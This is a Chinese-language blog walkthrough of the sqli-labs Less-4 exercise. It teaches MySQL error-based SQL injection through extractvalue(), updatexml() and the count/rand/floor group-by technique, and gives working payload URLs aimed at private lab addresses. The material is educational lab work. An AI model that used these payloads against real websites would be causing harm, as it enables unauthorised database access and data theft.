Less-4 报错注入

补坑:报错注入

当我们 union 无法注入的时候,可以使用报错注入,这里我们有三种报错注入,xpth语法错误count()+rand()+floor()+group by重复组建错误

extractvalue()函数

extractvalue()函数是对XML语法进行读取查看的函数,就例如我们熟悉的HTML中的<div>、<a>、<html>一样
语法为:extractvalue(查找XML内容,XML路径)
payload:select extractvalue(1,concat(0x7e,(select user())))

0x7e 为 ~


我们第一次没有使用concat()函数,其作用是将函数中的内容拼接起来,但是并没有执行成功;第二次使用concat就是为了绕过语法报错,并执行SQL语句select user()

updatexml()函数

updatexml()函数和extractvalue()函数类似,更新XML内容
语法为:updatexml(更新的目标,文档路径,更新的内容)
payload:select updatexml(1,concat(0x7e,(select user())),1)

成功报错执行select user()语句

count()+rand()+floor()+group by重复组建报错

payload:select 1 from (select count(*),concat(0x7e,(select user()),floor(rand(0)*2))x from information_schema.tables group by x)a

执行成功,可以看到~root@localhost1,0x7e为~,1是floor(rand(0)*2)的结果。

Less-4测试:

首先进过测试,得到闭合语句为index.php?id=1") --+
payload:http://172.16.1.104/sqli-labs-master/Less-4/index.php?id=-1") and extractvalue(1,concat(0x7e,(select user()))) --+

成功执行,后续不在操作,请看Less-1
payload:http://192.168.254.232/sqli-labs-master/Less-4/index.php?id=1") and updatexml(1,concat(0x7e,(select user())),1) --+

成功过
payload:http://192.168.254.232/sqli-labs-master/Less-4/index.php?id=1")union select 1,2,3 from (select count(*),concat(0x7e,(select user()),floor(rand(0)*2) )x from information_schema.tables group by x)a --+

posted @ 2022-03-10 13:40  Junglezt  阅读(92)  评论(0编辑  收藏  举报